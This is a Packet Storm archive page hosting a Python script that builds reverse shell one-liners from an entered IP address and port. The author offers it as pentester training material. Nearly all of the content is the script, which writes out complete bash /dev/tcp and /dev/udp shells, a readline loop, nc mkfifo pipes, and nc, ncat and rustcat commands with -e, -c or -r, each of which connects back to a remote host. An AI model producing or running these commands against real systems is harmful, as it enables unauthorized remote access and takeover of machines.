exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Bash / Netcat Reverse Shells

Bash / Netcat Reverse Shells
Posted Jul 4, 2022
Authored by Raed Ahsan

This script is a great tool for pentesters needing to create reverse shells using either bash or netcat.

tags | tool, shell, rootkit, bash
systems | unix
SHA-256 | 6fa1de2937ad42cc30d32f1a0d8144e64791a2c154a8baa4dad7d30634eb9f38

Bash / Netcat Reverse Shells

Change Mirror Download
# Author : Raed Ahsan
# Creation Date : 02/07/2022
# Title : Reverse_shells offline creation.
# R-Security training files

"""

I have merged two or more kinds of rev.shells in this single file
example = bash and netcat. Please do uncomment the code for each category
you intend to use.
Thank you
R-Security

"""

##########################################################
################# Bash category ##########################
##########################################################



# print("1 - Bash-i\n2 - Bash 196\n3 - Bash readline\n4 - Bash5\n5 - Bash udp")
# selection = int(input("Enter number:[1 to 5]: "))
# ip = ""
# port = 0

# def bash_i():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: sh -i >& /dev/tcp/{}/{} 0>&1".format(ip, port))

# def bash_196():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: 0<&196;exec 196<>/dev/tcp/{}/{}; sh <&196 >&196 2>&196".format(ip, port))

# def bash_readline():
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: exec 5<>/dev/tcp/{}/{};cat <&5 | while read line; do $line 2>&5 >&5; done".format(ip, port))

# def bash_5():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i 5<> /dev/tcp/{}/{} 0<&5 1>&5 2>&5".format(ip, port))

# def bash_udp():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i >& /dev/udp/{}/{} 0>&1".format(ip, port))

# # Finalizing selection of the user;

# if [1,2,3,4,5]:
# if selection == 1:
# bash_i()
# if selection == 2:
# bash_196()
# if selection == 3:
# bash_readline()
# if selection == 4:
# bash_5()
# if selection == 5:
# bash_udp()

#################################################################
############### Netcat Category #################################
#################################################################

# print("1 - nc mkfifo\n2 - nc-e\n3 - nc.exe -e\n4 - nc-c\n5 - ncat-e\n6 - ncat.exe-e\n7 - ncat udp\n8 - rustcat")
# selection = int(input("Enter rev.shell number[1-5]: "))
# ip = ""
# port = 0

# def nc_mkfifo():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f".format(ip, port))

# def nc_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -e sh {} {} ".format(ip, port))

# def nc_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc.exe -e sh {} {} ".format(ip, port))

# def nc_c():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -c sh {} {}".format(ip, port))

# def ncat_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat {} {} -e sh".format(ip, port))

# def ncat_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat.exe {} {} -e sh".format(ip, port))

# def ncat_udp():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u {} {} >/tmp/f".format(ip, port))

# def rustcat():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rcat {} {} -r sh".format(ip, port))

# if [1,2,3,4,5,6,7,8]:
# if selection == 1:
# nc_mkfifo()
# if selection == 2:
# nc_e()
# if selection == 3:
# nc_exe_e()
# if selection == 4:
# nc_c()
# if selection == 5:
# ncat_e()
# if selection == 6:
# ncat_exe_e()
# if selection == 7:
# ncat_udp()
# if selection == 8:
# rustcat()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close